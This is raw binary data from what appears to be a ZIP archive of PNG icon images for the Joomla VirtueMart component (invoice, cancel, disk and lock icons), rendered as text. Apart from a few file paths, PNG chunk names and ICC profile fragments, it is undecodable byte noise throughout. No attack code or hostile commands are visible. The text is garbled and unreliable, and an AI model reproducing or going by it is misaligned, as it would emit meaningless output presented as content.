3DGZԊbe~G)@D#VsI{?mf{+9RP.>%X1׌5ݻw[xp7_;NBfz,"8qby*|4MF>qB5yEm߉sg-L޺dHvu"v4TL)Du4gP|qgYׇiX*=up)K 5Å#9p{:t9 u[CǨ8X8T%:$jU~lEy Z`3DYYxkj|RӷGx0{H,~T j7X/5#>vu_pYɞY`^, !(+طSEu3ZUhoܳcCϮk{3`hPzA)5€0dWͻRXUJ'|-8P7E}F(sI7Jc'u4[7 dž2BPe5V\ϳXdJVTZ #JWvl^S #k̞`8panξ#Tp|@OB?"':l^rWsDmoT8kV]m@s|2Aͱ϶Xg bLGu;UFv7I4Q"ȯP("Ǹc>**4 } yqM ĆijRFљ@jPndj,*JzP*"H^"֝m-AǢ 1G*oTHX6RŖ Nŝc`<*BN w_z[>盁 S091jGcn} .Ztibn%Lz`,Z+f" ][*Jۨ%ί`{e$*4%ًW¦},^>}<MЅ«.>JlT*ثWݾv낮SKxS G" LfyRUƅ Pׄ100[$e,&;&"ɬͳN,-ZZ% I Jw62WsʯjwA!XB 쓑%|"`z7z o˱1WYeʢTȁ(;}ظMj߁܅HZvU}],GJ:F쁻M*9>V;R۷o_a'ZNi%I-(( [$=n*֖wJYN+P0D5-6T2@RZZjƩBDiTҭ[]v wTrd[["m Z4uKlF‹)Gpx. \[â@nv/B5ˢ mܼQaU@qn+܈^ ,dӺ=&P^^nSQj q0BS<-?A;3 G>"!2 w'bc1X`p2)WL߼ql8ƻw^/?]Sl^ң+ IDATv>RBd]0؏Q,6SNwb VL‘B&H}aaaW|ol畜X4z|m&|t#;&uNw!Y#2 Â#3'nI++tF,_ =;w.`SrdJΠ0׳T㚼a q 3#̷b;7b -Ze(u-rR#Y K5Oj:;wvר$}V!*thAro7^}c{:ZK2ux%/o| ;)stLd  ],dXȂйy 5c3gΌ1c;A Kʟ0omi>lx8ZT,O'*g᤬VOuR(# cڰdŒtՕvl 5g>H;R2XԦMbh#:@# >LT`xH#uϰW0nfcqnpKO&}'9gCC'%2bޗL}be|{EwǖƭtO0]U͏B?CVXtX89Ft-C>JΎ{3~ ZϘ/ 00i6o߼ecαn};d}@βvIWϵ[%<wh I}}#^g zХpN2(c>]m]-ߧߢEF~sv޴Ǧ_xגՇW߶Z9,sX?{HuFJr Ɛl$ GKVx-cG|g'MA)pߘ}`ӊoԛ0]n tV7)/i4@>p(姟~" UNʕ+)LN!  ĵ R@/p?C(͛c)+rǼÇ/|7 -)V1h'Bw; /ڳ '-)ˀprxbr _ aÆ.1 fhp9Žc* -Fj%`~qA52WSWZ2Ӝ+[%sـ K-p *ny../% 8ZZ!-.9Zs9sr.CZR]0_B8D ȃFxJ[D!Q0u8 rMP > A.܌B <8!gr6>K@#\JWc~WB/_#O9A9 fda,.@FКX@(=y) I0>?|Lx]uI{Oa;XUXY X>Ҧ;Ԏ N̺'b d]j:FK(6g9Qn+b7xL.!ފ@x0P +>rPdM\5n_}LbR<an Ɍ3b('qi!b!1g4UuT=b<˯;itWx;ܛC B΂8rqS-ǾWT9Y$B~:Nz$@D DlNTڀydSvrf"~!ƧWCMȯA>rfk׮Tkr5rk4$G|P$8%^(5Lf!8`=mf0yEWͻRބV~ol"x^ AN ed>=2< O% +1Hkh/@% ]GrD6*')Rec% pbJi^ Mś'Mp;?/u\cc~M= Ry9)"H ؄) 9 iBwylƙMM~m`C }S*3x*D}pcC*wTl<8w}v7Zxt*Nou<Ĭ79ǯm7ğڪ ^9tM?jpx5 3k޼y!gnz:zwgBi DLjsÒhWPpjtЈA U_sؘ1YA=A,QBq]~b)OP5ضr  7N>}\r&ߨ9;cv6h5¢aAm}*w @ ˄P*^sg`?ﳠUcJ0e2aqS J{}i)Qw J}h؀rڵEl;FJ_9kZݑjE)voLr~ĕ-.>O-c]lmbzSx<x6'0A`vr2[/HA扯[2G>(a1X!"o m}M3MxSZ-q,ƷFDD$PSۻތo{E)r[.z xyL0!P+IS-|v!f9da(7SYb&"Ef=dR?3[Άaymz4'EZy2@n ɿNeCgsFj~\`ɒe@%M>D}{LUiE  Ɲ@cPw3nAӲ0θl/W)q9RK! O@/ и0ldzg^" hy @5,OGuB)iy7AJLc w:bbsR]*A꨷TUbfl:( 1 tH<(72gxF{'Ĩ*TQ&wdV(aB屹 O` +L p̚ga5H"cA] ZŴc7sܭ/ԳQwcxXѸ,:6Y 8a$ IDs`qɄ{{w[4ەzkqNc'diHƑw};BK2ޏ1=KI#ӕc#Fٍِۡw1q VcA|rPu4TjB> C1 b߆Ľ<99c6X:6D6 FZHWT{ pZ i QrwYEWX5K~D6jmhѰ|c"vq}1U-.њ Ʌ1„ҳ!(0Ip?у(˶8UKJ"QWvG p2 TBWFh>Ҧ@{=>''q1$Qk*oTY8$:<0{\mUym_LJJ1Wb|?ksw!]0Br,ۑuZ4c{ Lr/~-胂G"ufi, lVƹ̜^!\+/P wiGcK˔:Cnߺk0snx_9/4y1 ߆;xёtZ-]+1/ dÄA =).܏$ (Cxi`<J9Sҵ}uBfc3 \t~j ^pnFmNqr&̔xǎrK EԤ]z;.!> BѴɃw]*=.e˜vk|=Juѱλ9ge%e,^y^ `4xj[d`d—!3 ,r;Ña ftl|2ClfZW-޹TT2HP5"!+?/]D˄sBq> B3oI"z{\sI&3'{>k}]k0<.*^'Y2Y- hphn8Fl*a+Ȁj؉LE!b]3c(`m-t((.8 \tCxTwjס97^^VlqYNzW*I*?9sc_;ZTRG@1Psd1D 1="W%}baJeI\uWwI_' &#Z> wx"U#1W1EBЍ#g^>LMRPM%&.$J&2"(}DVm:m_\#23wL4wFsfa@6ި[SyZ $F2«'*}MFsnk4)t(FපBaA &mkG7$bKܴBTiU7BH#26&IZ%xT)F(_ .NVr%wo]/0BMp5yLa>="r uϯI&5Ifs9%+j}eZMZLM*9]T>CUq?ru˖XF*^F(#GIZjx-"\]ʉʃaʓSUuHwpI2VhhM"BF#amWySe)) Yb;$ɰ:n=.1#+tx~/.̀h '4<\|m = b*7r>>b "uB?W3z B4L?T3ZVnⱪV6u?<9:ec-R!iU)v%ݗPϠ*1KSkUSRb6Z AS[΄_\7;S?r`c a:M$t |,֕GE͔0pYG G_k>WHm?:oü+?srY%$ cKok)$[{\|d<#(XiБг=7 @x50u7L!$mMH>HVC^^=#ŦpŧL9Pd b3=z :gG%gSƷa% 1cRS]0f+<2keC8L!߱4@_U]Zʤ[Ve€Gx//X;wY+[[}G'#9mP 㯝Μ1sxUqRݼLG`A@">l"7?>?}H%u>r@'BlpM#t-t`VQ3#K }j XS72J}7?䜎ÇVr妟ңJU.D&Q]16x7TCsqլ3Ȇ(B$#S'W&3r4.ɧ/X f礰F: IDATMyAq]*mȓ:rq؈>SZ^ NVߨcLJQIX wԕ:=]-B]juSlJB\,4j&ApbuɋG*Qީ&s}%恨+,~>ЦKʺW|U@$:EA_On]Y/(oݸ.H i|rjy9Nz px3_OǓqVCǍd%$JWRSDJs( g-|׀}WHsA[wuQ«X8f/ 7n\UU>`IE:  Pr`.2|8`$L2q yW2´<"t C Җ1_mr]oJVÅM(x{teJZoI=H9… y. 97bĘS%]@Aiy,<,aF2,ɐcBg~SȍE" l-+**lӛ%vde_$777oQddĉد\(y=Me?nbɱG}/ćZXRRm>}FnҥK>^^&0iI}SVxjAQfǎmǏx|@??n IB%F r AیɁN /h}AAv:w sˮA=oOnnb4m_DΝ;o^O"O* ,#2*n.\۱`Љ.\81Vx®rdrUB/}96} 2ʨ sx bZդIL2tZb*+.jݺzY9/& ILO_Ē2f|?)ݻwoE&cmY.%] VjGA~'jO>452"|2d-|qa d3gΘWf:ej?<]Ne*+#"#kg̘E  4k53gc..]8LQ1|ǽ}hmyb9T8<>\60d^bĉ5]\Rڰ㛭ZW5px! p+Ww-&1>Ah"BoJikY2hĀ٣cj+˫||1m(bZmgu+xLjH 8 j)J43յ5R0rԻhTg`..@gN~˗9Y(F\rWxey.ڭ}ɡ脠4BP&3u:R(,*RA%˓wY ذ;L[kkke*WWNodDC) W|Oh^w=zP)0i@;>>AqYߗ_}9ߌ,dҜwy7]vlo:5{Zg?Kŗ s䨑o];mII<>2˶{KC(%aFTmbs+b7X kv-ЅL!b_uưa:Yz>,׵h6 jkkģGWBr5ų 7O9rԨs |!PtHܳg_pQAUnn|s,ʪw ;jISJxёQ(1: DT#5[K1`A}<]oB5'&&)nݺzN~7l©S_x!D 0jH>>&ԝ>e ˒xMxѾּ&/G/xauo3r6:Z۫G>XhQ1j*g63qʚ5kFb3X(*lr={hHMKSƟF 4j:0`5 fh#mᒭ'O{,GhP>}PuɈ#`x-Ǿ1Fb-ScXT>YM$XԔAY԰AmۡlЇ,B~e/X TFG" XD4^A*B0SQ- hDT7KyC3f3?]o?{Ny;?sݳ%~0<ٳWDaxo >0Fdo,DB . (_ex2#Xa&JO \zC)kZ;)TL?iÓ:tgxBTDAU(^1ZH b}]DXDxG2Oi\ĸo>y:O<V6?$2pa.|cE2x ,2fz3UFlo*QDʑH̪dr DaxXHZ%${2ʧ4"P9RR6)Ā "dT;Ϙ2h"VLL "4A|Hp Y|I]WDܜrvՀ5:tSFգȓf^.?VhH#clzC5V-<Q~m'(wZf_D{ddIZt8,\PT KhJ2[$A Q!VO1'\y̟~bGTFdr {GEg9%jΰi-N¢̇W>dV&$  &m{u z\LFI,2W., 86ͤ:Bbi᭤l"ɅZKGv,;cf2;G|M H;y`TL.*0 I%viXxʛkk! zY);r7ZiQ-FM9PoRc%^pԀ#H390qv["|;eGO4H%`oD%>@ G3?TT0A7@ѢEsكWȎ8(9[~sbNaw0jRؤ<L T]Ƣr d4X)_H#o X֥vvwg~J?Rq% m-`Ek^C*,kWٞu#{jK̵fݧ z{JVbhvDЕ.5ӿq)02hptA̾!/&dV2 sr| SO*}R_bx}ugP#}z568 V|C_B70h,-v.E 0$,Ͳ|u _/7H. x( orvqKWٝv79ߗulax|솋8t +Cqg*sJ=3=X˚*m,SZ~ugVDImj$Uf!I}Ь,J6Y `{F@3:W]-+eK.L׫Xaw2(_0+3뽨FZ0b}K|Auݩhtڗ+\S( ߌAT7V-gEes\>ΓLk79fN9=6pDu P'+;7,:e-#&Wk0_lZQn((ֻXm`Pi Iaѣ,%8뉀C[ݻgDM׎nr*,q׍o$q݁wN7ZJQW\P%U$M|n]\(t%j<3 eE$pKګEqѣ hBlft1S䗙һ]@1ߦJ*8N xsdKXTpn Z{-^{q]wl'v3d +6պa"CĀR!,8m,nrr6Gh1\D_$  '%W~wv︈Z1+sw8BZPZB- OHiE.aXjeHw=pVzth<"(+` >|z2zdd乵 FFN*o"'Ow]8:,)q\\u:1ZFMP6:;;ϥ¯ ~oM$[jdOh;kɌrp8Z +ғJvX6D #6̼Nd>Bb<(e0x% jշOϸFE.@oo6k^H &v Ii19#.z L=e*&X[/Dvk$醚$l =sF/̖/'I? =B&a dLLXov n,CV mD}љmILD޹ |s0n%5>SٙuX7W_Y/:7X}ˀ=h  PiMoc"݂,,7=G+HeQOCv2iR̮Wq@ n2w@x6Dpәt! aPtRћɑ_s|`T*cRx_! .o;G }3 C; ݢ sr # 'ٳ QO#҈{G6{8Ő3gNrmVșkLC z,.:̣˶oD@_& )S&⦠Zcye4Fyyܣ\im3O ˉ5'I( |w"mk>qa^7pOc4>%#q]-͚r`'2cŭ}|qR+A_x&[`ebZ ANdfȻ/v֙_4"_9e$7a[Lqv,(>GT4OuE) .0?#cȞ]?8Ϙn_=/vf/:7tx1= SRA`'(Dp z^A|\ɏ?]q؈)_GE{ⓈtoC<=[wg)粉##1le(;'Xɭ.nmaBj:"xm@S۟d444  !bn3Cb/Yş"~}. r>B&':A'o`<=w$Z#⦐];wZfΜDʿz g8>x6}kQoבR⩴xD}.bd*ynTlE^1{:u$$GE8̅l><>;u(~ĽHrcrGXy 9]n"`*&!p(b.\IDAT)gܵkHRbAhyjՕ_}C xs5@ n r^V;zF:jil/%G$߮z\Dc FZ[$ ȏrtINvvrN[C &GnT lJ{CHd"OvZf=>LO 9=xԍd7*_9 td:ywVʵI`dLXBVpXw|#UøR;Sي=|9@3)y "*'_UN<3%c Uf7wh>@M"Vtu9Sɵ't5O^ e2 yq E&?;yN{?pX=$sAw6 =I@]pr0B<ShWxK K㫝 ąlRnx ffJKF1k +͕{z_Z~pC*P 4JxB"dbN7zY * ddo,~ +S@* [0onبrZ^CvHK.cȀ:Zeg̛/|_ ?Y4äR`p@RCBdZV%?*r^:|C]>A""+?ܽ1 SCG^cmV!4+G#e$pƄ8'X8Q%+bW -2n"PQ/khyH%_xDbA҈J29]*|u0p$?bv, _?27QOIv2qHtJ~DŽǴzY*"I@s!DkQ=0-Ҁ~"[8{DrLoRȬQ1v`*(OXS*i [R.\q+c3,)CW?bϏ3!"OnY+͋ bkpԣʴT\4k91t $V@`{+>Zݝg7{żZ^^>/3i/a=}QVZZ%rÃ;ŅuYoo=qU?iω^dMo0Vgĩ.9DmDs3g=7ݣI2%+I(D і('/e>'Ϻ|khtT;s?qhXπ֯X[~u~Y ӰBƇ'֬%\a#EfoJv0P7DqWa5j|ܚ[%\Vn|vr3xAIsdۏ M10RÉvqi#p^у9ݱ Q_&k^_z? QAïv;vpiol=~TGs ބ 5"=ZI;q=@FET<XCOY NEƑ1Osܱ3/Q p.Α=" 6_ b {@h@6.I`'Ȟ.10ԁ`N|dGu$XD}^aȖ^VWO3gl<s4zy4N%{(#wݼygV}9>XSc*QyX PvGvѻ(2Avv푲qsx- }.ހիWGꪯok}_ÇW '?@].+TfcwEl .S^~Cj*3FaVn|}觟7oZ24 Uq96Ȥd,zKvuqIFN™uNjC*UsJe%wnԿfC hFo5dQ&iL(EhX:tuvB;@8X%-B_ PrQh[:dTsrvRAZy@6b mU}bZeP9;QOQ4xг?#gwfjoN*C `Qa*sh}tp'*m݉SN?C=0lc7RDbW^Ȏ XȾag U({&gb}=P9;'B9 gM(o- v1^bp"dfª!}#[غ[-rv99; Ŭ$oIϸFݚu{nBȠk嚮:R 9;1c.9 P l4c &fƞ/m~X482ũۺtɄ8SrvMP}rv^^ތ{~MkH^'̱3ULu_BaoMvmЖja#?+)w_ ׇ*krv4{ǯY/h;H? 4'x9|M8 )i,uz'4 # e vQ*2yl UCxxrv/@nBKVmZɮJHj# A1t$cpJF /DS,vX`A܁N#MPZ)ǫ PZvB "m#\a,qntL?*; PJlZ>^@-v/*6z }(/6yCQ@J!IOt(8Rr>i C CsbU?F9k#gwWPedNrrv r'ЋBN0*:u),}e*3)Ćn Lby#uYe}ZB҈?Яq`t[+ fD@:!0?osTR`[=k-̉j,` גm(ʎ - `A2RB(Dg$81J&?{`7EJ#0 AsRsp2/p8o.?oҎdz>՛§|WH. lXzj[VTקÈ:d g>.Uft HE\xwa4n]M-W6R2tCBω$ސЃ-4>Թ'LW Gtz0 4T+T.Jj LjluwH^67A%H N91ԻԀUb $)3Ɲn?hMKqRM4]^unsc F>g!cް5?$rvn^o*>hY:A֎l r\\6v0 H)ˆX9ES É68aJ6E[K qܺ@j^̔H`i$KAt 4Cso߸5/gw1^=ދ8hOv8{RL7 ƭ9$y}*d zaFgrFKʀ3O) \#FD&^^y9ܿr8D RARI˃<]J r?2]ˍsT sS~7,t'u'vUT'[sZlVRy*cc=EQ`-I1NF!% HXbk,bEpkq,zƳYJNIbA-9ܺ*T!u)L39EEHM{ܧ7jSC4xzVpj@F|nh8 (o ΏQׂxدfD #kt)\Fwy%fȍpɐH(.ظ2d˪*Ih!Xnv niC]#y #Ӄ5A nsBziɃ0! x"$Hox{M!Gwl` 4_LI4e3oڒjRỲ(;og,X``U#їQm_%+楠qv*#BcI9%ۧ@Lت}f`]рգV3Pr IǛ]j\ڃ[tN+X.r&^%tv7C͋'gBzc|oJ o#KFg{X-VHS66D.=- x՛$"YOw➙p-J8u+9Baz{+"z|@x!ZCHF=n ?Ot* H K2:#bOJ Ջݻ֍MsS f쉤ﲒq79,g.[0-Xq,g.߬}%N m x~JQSMEDkMVJ荓V0Ց]:aNrQCn t$WOJ5Xkh/xC0Ӭ>=|E R ]?/Ub˓'%+{1M yu0Qt_H1 㼽)%%Ź[;9USww{Mw Gj՟5?O58'DSRIENDB`PK@y>\gut++8components/com_virtuemart/assets/images/vm_witharrow.pngnuW+APNG  IHDROWsRGBbKGDH& pHYs  tIME 0bIDAT8A @ E_@=7Pj-B+vUf$QUg#32Tm&BេۅLT՟g6MUCĦ j> ? qf5ȗ*kL]W:% OޥSJηȜk3IENDB`PK@y>\5\ͮJ;components/com_virtuemart/assets/images/icon_32/invoice.pngnuW+APNG  IHDR {X pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxD  Vf4 888 sbܽ{nuuu1ٳa^|O | \ /_d C ,,,, \  L,L *E,;N@C4647Dܚ%1$lĂG@Aƙ3y>ɲ Y%HQ4M0 "۶E3#⽧*Q=4ufycf8!+ꜣm[s Ás5MSʲdL3N7$c(cDl(-[f(\[rn 8T;gH ς[޹g\Y,lu󆈠8X.l6x8~Ag2 F*1<ϋjQ5U595ZD~OdY p$kaE{TT%{q$ zNUUaHQ|}y˃ $vvJQf9iI9 ZP.%pDj=2U4KCh3?~j6na7,[egUMmC(ǐۏBA(s*%PrIIvӮCXVK<7$Fzψ|>_2i2EY} ReY+ГREs)%j:j5NOOy`b[LU$d2m:j[<\ J>>>components/com_virtuemart/assets/images/icon_32/invoicenew.pngnuW+APNG  IHDR {X pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FiIDATxD  JJ@Vf4 sbؽ{ӧO>_f7 C1|ϟ >>> 0G>0˗ xm `ĠWjڱ4̱mP觠D] RVimL@k#Y QIA"`. pNӶC4aE@u,˒"B>MDZz g],80 tZ UYFUQUT$w`iBDC$}.^qcu0 PP qa a au0^WAUx$,$p'LRi{~"q7yb CV9ZRQ\.M&q<Zzjnքwxx6,0ưlcHpq 8$u]&a]ަv b} @DNKqﯘˑWTzhq-燨TeYEaҨtFg{.[~ІUTE*p8SZ!RlPdըw_*ʟ'({߽<.fP5&4ƎKG@>RYnʒ60myKp׷}ޱXxifI̜9j8 ~+++iR*I튵Y`4h4ݣ^Gs||)iB)EXdiiZ֚(pQ(4܄FDj7! @<*h$'''9hqqr @WWy_ۇ"Zk$e*{ 5jDj/{֚]krcE):9WZfQql6QJˏ("t: .D/Ay‰-zA+x_^XO3~1Eh(H]fo T2u3sE?j1$IXXX uff:B.SaH ;n?%_0 T*P ?Neue{*Y ±J>Z44˧sCh>lZ۸0ܙ|ӝAԕp?pC]@Wn_MꢋBq](Ԇ-$Tn#ْ,Y3;v!`Y=gF)I)]/}t]:A,M>}HWtCDI) p)%\eX[[~y'B@^G)EXh0}m籵h4Ҹs'Ǐm9 \۶sod Pl7~#2MsJk%Yœ|B!<j 3qa4MY\\d~~(4g3 55:g!`<׶a ǰ@Ldee%a&_<,-vBJɈ$M,ao.ަX+~u_|le>|!~XZZb80 Pi^0xǫ%q)[:tӐnU8׍GV62ŕJ%*J>ZK84I8{} 4Qѯ|^.)utttjW1)0\G/N{Bg SkhB[F*7b| \_~4urV.YIENDB`PK@y>\(]@@?components/com_virtuemart/assets/images/icon_32/information.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڜWmpT~&lB1| VacGRpTP~(R3gv:SeZ ũN @DA&!&ٻٽ=ݸ,rgN=9=9 S+ES(ϛֲ=! d{'k?kLwU]yRh aEs.UaX0MiaVP#jZt;/NyC3. x=-k! 1k" Fr8yq?׍Ъ 5 *3q8.Ob"Î{Jڛpok-, =CqTF"'P+v|-@CIo_@|:U ɂ[hXU膉 {:Q_ž>O#o>R Bןzl}=o׏}ǯV."CO>Ys) t(6EW$$tKu1Kw;;aYXGp(*V dOgt ZDc,9@Ƨ1LY-ZNuw'f˭jO? ,oPp>ca yӎطg5~H3^{쀊Lx0 ʿjdR>RΧ;wchLÿΏRVw|7^ qĦhk }erN9잎z6~ 5|>Ewm^TY?{&#GOcy JHG6dO۶=6Ł$n{x3/Z/yuqk'8ÑHK6E]mea qYj*}2N]"zQH%Ja 0E%Z~-Gkc>1˿~ cn֭#C: o02h<%~,I "%H^,$Tz1L!P9i}l4Bbt h NYIbZ4%n߄yI1̥6H|6pj9ͦAIO|Qe.^u1}n-83ng|>F/$5 6w!I*dΞTzI8oYgH$4L?C6ٶ#8ٚK\|F+ڙR}~G.ŨBl|rο{%f^ƠS*sRX,~ u"^I䯦sx;|/.vg8! lb*e֖J4iN/; PGw׏<5&$QjO*$OkJ4*wFѰ~߬n?]C=?Fy Id|r|1=l ;O |#ЂQL5`~6ҩgg#=3z?('|6Y U|:(oױR,<hP>>2pяr \ 5VuĪs6@rHN˱(3 z C)aEdr7$%8ޭrȒ\**uzb`/!~[K55_94}?"ZO|P+ӪyZQ)!Y }_JbY3}Wpf*E5Q8 ~utxm^pacEV '}Q]pGt S,E~W蠢+࿍isյkU{>"::j/}* 2 T 9QNQY4۫wq̘8|xT_| t[<Iz Er~K;8i_q2֎~h@E}u3KC$D z!4sys{Z$\0J.]FX7RNBTpSw ,M3E6?GY1dt"6TYc sr%%fhs{U7I, N4(ZUA4)Z]jU"C=Lzle<jQc;pjزyζ^shX@P=Co1!u?Bs_:Hջe[ ULE=N)cJr%Lcz[(')hߕȾ68E1@KP<)T gDb?#dU7-H-܂1/LnPx⅕y)o'w4 =S}3ocv;Cw)TW S(*~<J7rBN":GlWqpJ$R/I#y^Ѓ7lrf4gղ9T4Q3ڪ>;,)sյzU4_' 9;rjdݵL-rcnQqn6[fvSH?LFz> v՗̬XkїXG2W uvq'br:aɀilf寓[ ۷a!1&ɓ>G3$= <>:w# n+=Oz̶o*+)=[bÐHU+v;!YkRn.)P\3SPyՍYuW]r56VnJzQ¯'%Hn!F^v,/?T 9a c{G~<ĝ 7E[ol8 pL2發5ӋsOycmYrx_fo:qruGZNz:_c s杅_LO' ߹iV9@ȹJ6.uRiyyAwZ?N %ҎLᚽx-IENDB`PK@y>\"kss@components/com_virtuemart/assets/images/icon_32/icon-32-lock.pngnuW+APNG  IHDR @LPHPLTEŻkkkuts{{{fff~ȴtRNS@fIDATx^n0CCM,i;#Ox@*Mģ$( )~ iey}k9-U3*:!R񎾤E&l~u'b+&`TGP=-wd/ݖ:.DHB=bmM%.Za@к欓Iv$m&Irt$FiF'% $x)rz^WM64,kN{^\.o/WNQ1AM`0?h%`Z ?c=R`OMӸ"G/.>LyHPTO>88q0 >-L,N( F|a I9Q:eDX=kJ)uƈ[Ot‍q{l>&IENDB`PK@y>\}MZ:components/com_virtuemart/assets/images/icon_32/cancel.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<SIDATxڔWklU>>iKZI*a|'Mc"'5!j5JH0P^ DYM`R`۲3ٝ}ingvy|{F@˿ﶎ0̔?[s/SeN|5Z.n4?:# `y0440u t|8轡L@W72W -Ӻt|n3PCNZ W$0N&6Pe m0:7l:l 0L]r/\>~"Q)-ϬIõ /`V?DWuCA\=_D)ϭ9O=7,r֐,ȱmZ)XC*!/rU:>{.hUï䁌cBAh :%Nԝ; t{fWiLztė: ӊSˬ<<ϗaRrO.Rr0|a|2L 5%ʑ ޥ}<kJc/yT85zw9J$b ؘNﻳk|0ͷDKaXa0&op$ ΣqMA9!]A(@4]%i$&◮ 1B 0rZݵ3=\)|<ޕ^آ!PE1@,0v5(֠cI$ӕןܡe@̄-ҋtHl- 6a Cw' \4pR1Ⱦ=^fɒ2 m{@&]NUHP=5 !Y!]M9Ho}SJpnCNJidHtt#gܵDJw,/UIaY>ge"RQf]'%Lb.c"#eҕӓ -KQïA5ɐ,.(JVV@6'1~7m1[@m磙m@p4}@b6 ;*6|Vֹ~-` zȭ_?UAD7=`Zu3@Aݸdbz&@kj)&v\7MK pE&Q wxK&Z*5.(?0zi$ꔣB@ΞgyXXi?PxX( u>T)Fqg b Ƚ Y vN"w~3mM"ǿcg\1rEa7I-v~ h2a]$lFN*ݪ]x)8rD0$uJN1ry#NCbΝYsx:A(idMڝѓgWP&ܖ\ nM5&ñ,lHC9##`:7=6ndAt55ZjSrNuC'`|my%hw{לnk:a^3'"(& $'GԭƔ?HJ9gU4+TG]$*kF3a_?P`~zq@50E"]0V?,,`IENDB`PK@y>\>(N8components/com_virtuemart/assets/images/icon_32/disk.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxW]hE>3{֒> *BA! dQ4V#ƿO>|B#"y)K hQ i4x37$anvwo9sVyz ~R87Wk9o"P5$*ax{fv| ?䥨Ͻ39u o"w>d;OE>Ribi>\qfxSts^2T~{60?n籬%(ʖRg'}KN3]+uϚSrV,`6[ZOm&`!xxZ`#h`, PYz|x!`i t]t{*oOg !571IM |8yB(Y`͘PԄ*6ZՒ:Zr|oHP$^NF2[T$WQ4g {^'x YWOxƞ[&[}%V XaAёcpjȱɗ@Ot&AE**WCDc c`S0`F%x&($g?@E-&u-,*o<_\ )iUT$%ct+0} z>UcSC?x~<;%(/koERxjtDX`*BX P+k`kv~@\/tZXԴmU0Dߊs_F5bgtiK- V h (% `G[vF% Qihy 5Zbxl0I%:{jU;DSW4tpHEAz`H~y>=K%~nn E^гa (TBucU%hVr3܊we//|NNra|CS$[CU%NUG3Lg[ؕfUZkfdy Q2 utPVf—W®)9Rqnj,Vc!]<@m߃yYN@T-\ƳHnv'Ei5JsIENDB`PK@y>\}}}Ccomponents/com_virtuemart/assets/images/icon_32/deliverynotenew.pngnuW+APNG  IHDR szzbKGDC pHYs^tIME %- IDATXíOl\W7olOlb;vNJLꢕ 6K*6 ZH,+lHE"H]F $$PB"XmPvɌt=xoƓq\+]͝+{|;i'z.9sxSx=ì>h鱍7{=̌QǏs1sfC{FqyU(p5_=>Q{È yшhpU{%H(=wqinLx/+#33,]=81H&'˕r|qglK /' FáqNa}_oAEUTh&1ic^IZI&Iegf SS8> p(u Iz U%" $HJ@5 qR_A͊UCsQ$!eAYjz#0 g]`e:1VƨNoT@^lNQp5#3s,-NZ*xnπ*@뜯ͧ iswm׏OWn'<=3vm2H0TʊLA2J,Jdz3,K,_Vs )>r#G#4'J( MU7^}W^i@sٜyֶFB\!nG;^YYym0CՄq|*C(#EN^ I 